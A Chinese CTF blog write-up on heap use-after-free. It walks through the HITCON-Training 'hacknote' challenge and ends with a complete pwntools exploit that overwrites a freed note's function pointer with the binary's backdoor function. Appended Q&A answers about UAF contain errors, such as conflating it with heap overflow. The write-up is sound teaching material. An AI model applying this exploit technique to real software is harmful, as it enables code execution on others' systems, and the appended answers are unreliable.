堆利用_Use After Free

Use After Free

原理

我们可以直接从字面上翻译它的意思:使用被释放的内存块。其实当一个内存块被释放之后重新使用有如下几种情况:

内存块被释放后,其对应的指针被设置为NULL,再次使用时程序会崩溃
内存块被释放后,其对应的指针没有被设置为NULL,在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序有可能可以正常运转
内存块被释放后,其对应的指针没有被设置为NULL,但是在下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能出现问题

具体的调试示例青参考下面这篇文章  这个作者还是讲的较为通俗易懂,同时这个知识也较为简单

好好说话之Use After Free

接下来我会通过题目来讲解什么是UAF

hitcon-training-hacknote

函数名被我编辑过,大家可以用ida右键编辑方便自己记忆

add_note函数

 

我们仔细分析一下函数的代码,这个函数是用来创建chunk的,并把chunk地址放到(notelist+4)中

 

而(notelist+i)用来存放printf_note_content函数地址

delnote函数

这个函数是用来释放chunk的,但是我们发现它并没有释放chunk的指针,这为我们UAF创造了条件

printf_note函数

这个函数就是调用存在(notelist+i)里的print_note_content函数进行打印

magic函数

这是出题人给的后门函数 

思路

可以看到这个整个程序里面并没有堆溢出的地方

那么,我们先创建两个chunk来调试一下

可以看到两个chunk是通过各自的结构体chunk相连的,可以看到,每一个结构体的大小为0x10

 

这里面存的就是printf_note_content的地址

我们打印看看

可以看到是正常的

那么接下来再释放掉

可以看到chunk已经被free掉了,但是对应的指针还没有

在上面对函数的分析中知道,print_note函数的执行是依赖于notelist中存的chunk指针的

那么我们是否可以把print_note_content函数的地址覆盖成magic函数,再来调用print_note函数来getflag呢?(有点绕,请仔细理解一下),答案是肯定的。

那么我们接下来的思路就是如何把print_note_content覆盖

getflag

这个程序中并没有编辑函数来让我们修改

但是程序中的add_note函数是可以修改内容的

在free的时候,我们发现结构体同样也是被free的,这里面有两个0x10大小的free_chunk

设想一下,如果我们申请0x8大小的chunk,那么他的大小刚好等于0x10,申请的时候就不会从新分配空间,而是从fastbin里面取出来,那么我们就可以对其中有一个chunk进行编辑

size=p32(pre_size)+p32(size)+0x8=0x10

 代码如下

 

 

 可以看到此时print_note_content的位置已被magic函数替代

而这个结构体对应的是chunk0

那么直接printf_note(0)即可getflag

 

 完整的exp

from pwn import*
io=process('./hacknote2')
gdb.attach(io)
shell=0x8048986
chunk=0x804a070
def add(size,content):
	io.recvuntil("Your choice :")
	io.sendline("1")
	io.recvuntil("Note size :")
	io.sendline(str(size))
	io.recvuntil("Content :")
	io.sendline(content)

def printf(idx):
	io.recvuntil("Your choice :")
	io.sendline('3')
	io.recvuntil("Index :")
	io.sendline(str(idx))
def free(idx):
	io.recvuntil("Your choice :")
	io.sendline('2')
	io.recvuntil("Index :")
	io.sendline(str(idx))


add(24,'aaaa')
add(24,'aaaa')
free(0)
free(1)
payload=p32(shell)
add(8,payload)
printf(0)
io.interactive()
pause()

参考文献

好好说话之Use After Free

ctfwiki_Use After Free

### 回答1: 使用后释放错误(heap use after free)是指在程序中使用了已经被释放的内存。这种错误通常会导致程序崩溃或者出现不可预测的行为。为了避免这种错误,程序员需要在使用完内存后及时释放它,并且在释放后不再使用该内存。 ### 回答2: heap use after free是一种常见的内存使用错误,它指的是在使用内存时,释放了某个内存块,但后续又继续使用了该内存块。这种错误可以导致程序崩溃、数据损坏,甚至是安全漏洞。 通常,内存的分配和释放是由程序员负责的。在程序中,当需要动态分配一块内存时,通常使用malloc()函数,在使用完该内存块之后,需要通过free()函数来释放该内存块。但是,如果程序员在释放内存块之后,依然在程序中继续使用该内存块,则会发生heap use after free错误。 具体来说,当程序释放内存块时,操作系统会将该内存块标记为可用的状态,但是并不会真正销毁该内存块,这意味着该内存块中原有的数据可能还存在,但已经不再属于该内存块。如果程序员在已经释放了内存块的情况下,继续使用该内存块,则可能会覆盖该内存块原有的数据,导致数据损坏。此外,由于已经释放的内存块可能会被操作系统重复利用,这也可能会导致内存中存在未预期的数据。 为了避免heap use after free错误,程序员可以采取一些措施。首先,应该在使用内存块之前检查该内存块是否已经被释放,以确保不会继续使用已经释放的内存块。其次,在释放内存块之后,可以将指向该内存块的指针设置为NULL,以避免意外地继续使用该内存块。此外,可以使用一些内存检测工具,如Valgrind等,来帮助检测和排除heap use after free错误。 ### 回答3: Heap use after free溢出)是一种常见的内存管理错误,它会导致程序崩溃或者安全漏洞。 当程序中使用malloc()、realloc()、calloc()等动态分配内存的函数后,程序会在区域内分配内存,同时也会记录该块内存的大小和地址等信息。而当程序中释放该块内存时,通过free()函数将其返回给操作系统并将相关记录清空,但是在程序中,如果继续使用已经释放的内存,就会导致Heap use after free错误。 通常,程序员在使用free()函数释放内存后,应该将指向该内存的指针设置为NULL,以避免后续误用该指针。否则,指针会指向之前释放的内存地址,后续再次访问该指针就会导致程序崩溃或者执行错误的操作。 溢出还可能是一些恶意程序攻击的手段。攻击者在程序中制造类似的溢出漏洞,以便在运行时利用该漏洞来执行恶意代码。这种攻击被称为溢出攻击(Heap Overflow Attack)。 对于企业和个人开发者来说,避免Heap use after free错误可以通过以下几个方面来做到。 1. 了解内存分配释放的细节,在编写程序时注意不要出现内存泄露、重复释放等问题。 2. 使用内存分配和释放函数时,必须正确地管理内存指针,不要造成内存泄露或者重复释放的问题。 3. 使用编译器的内存检查工具进行内存检查,如Valgrind、Clang、GCC等。 4. 在编写程序时,可以使用一些内存管理工具和库,如Boost库、STL库等。这些工具和库可以帮助程序员进行内存管理和错误检测,减少代码错误的可能性。 总之,了解和避免Heap use after free错误是编写高质量、可靠和安全的程序的必要条件之一。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值